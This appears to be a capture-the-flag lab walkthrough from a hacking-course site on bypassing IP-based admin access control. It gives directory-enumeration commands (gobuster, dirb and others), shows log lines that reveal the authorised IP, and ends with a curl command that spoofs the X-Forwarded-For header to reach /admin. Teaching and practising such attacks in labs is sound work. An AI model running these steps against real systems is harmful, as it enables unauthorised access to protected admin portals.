A corporate admin portal stands locked behind what seems like impenetrable IP-based security. But every fortress has its weakness, and this one might not be as secure as it appears. 🎭 Can you find a way to convince the system that you belong on the inside?
IP-based access control is a security mechanism that restricts access to resources based on the client's IP address. While this can be effective in controlled environments, it has several inherent weaknesses including IP spoofing, proxy chains, and header manipulation vulnerabilities.
Begin systematic reconnaissance by visiting <target-ip> and exploring all available pages (Home, About, Services, Contact). Attempt to access /admin directly to confirm IP-based restrictions are in place. Note the 403 Forbidden response and that your current IP is displayed on the error page, indicating the application tracks and validates IP addresses.
The key to finding hidden directories like /logs/ lies in systematic directory enumeration. Professional penetration testers use several approaches:
Start with common directory names that web applications often expose:
Method: Simply navigate to <target-ip>/logs/ in your browser
Professional tools for directory enumeration:
dirb http://<target-ip>
gobuster dir -u http://<target-ip> -w /path/to/wordlist
dirsearch -u http://<target-ip>
feroxbuster -u http://<target-ip>
Advantages: Comprehensive, fast, uses extensive wordlists
Simple browser techniques:
Method: Navigate directly to suspected directories
When you navigate to <target-ip>/logs/, you'll discover that the web server has directory listing enabled, revealing multiple log files:
The server is configured to allow directory browsing, which is a significant security vulnerability. This exposes sensitive files that should never be publicly accessible.
Files Discovered in /logs/:
In a real penetration test, you would use automated tools to ensure comprehensive coverage:
# Basic directory enumeration
gobuster dir -u http://<target-ip> -w /usr/share/wordlists/dirb/common.txt
# More comprehensive scan
gobuster dir -u http://<target-ip> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,log
Expected Output: Would reveal /logs/, /config/, and other directories
# Standard dirb scan
dirb http://<target-ip>
# Custom wordlist
dirb http://<target-ip> /usr/share/wordlists/dirb/common.txt
Expected Output: Similar results showing accessible directories
Systematic analysis of the exposed log files reveals the authorized admin IP address is 192.168.1.100:
Look for HTTP 200 responses to /admin:
192.168.1.100 - - [27/Aug/2024:08:15:32 +0000] "GET /admin HTTP/1.1" 200
Search for admin login events:
[2024-08-27 08:15:32] INFO: Admin login successful from 192.168.1.100
Examine security events:
2024-08-27T08:15:32Z [SECURITY] Admin authentication successful - IP: 192.168.1.100
The application's vulnerability lies in its trust of the X-Forwarded-For HTTP header. This header is used by proxies to preserve original client IP addresses but can be easily manipulated by clients, making it unreliable for security decisions.
Use cURL: curl -H "X-Forwarded-For: 192.168.1.100" http://<target-ip>/admin
or Burp Suite to intercept and add the header, or browser extensions to modify headers. All methods involve adding X-Forwarded-For: 192.168.1.100 to spoof the authorized IP address.
Upon successful exploitation, the admin portal displays a welcome message, confirms access from IP 192.168.1.100, and reveals the system flag. The vulnerability demonstrates complete bypass of IP-based access controls through header manipulation.
Sign-in to your account to access your hacking courses and cyber security labs.
Access all hacking courses and cyber security labs.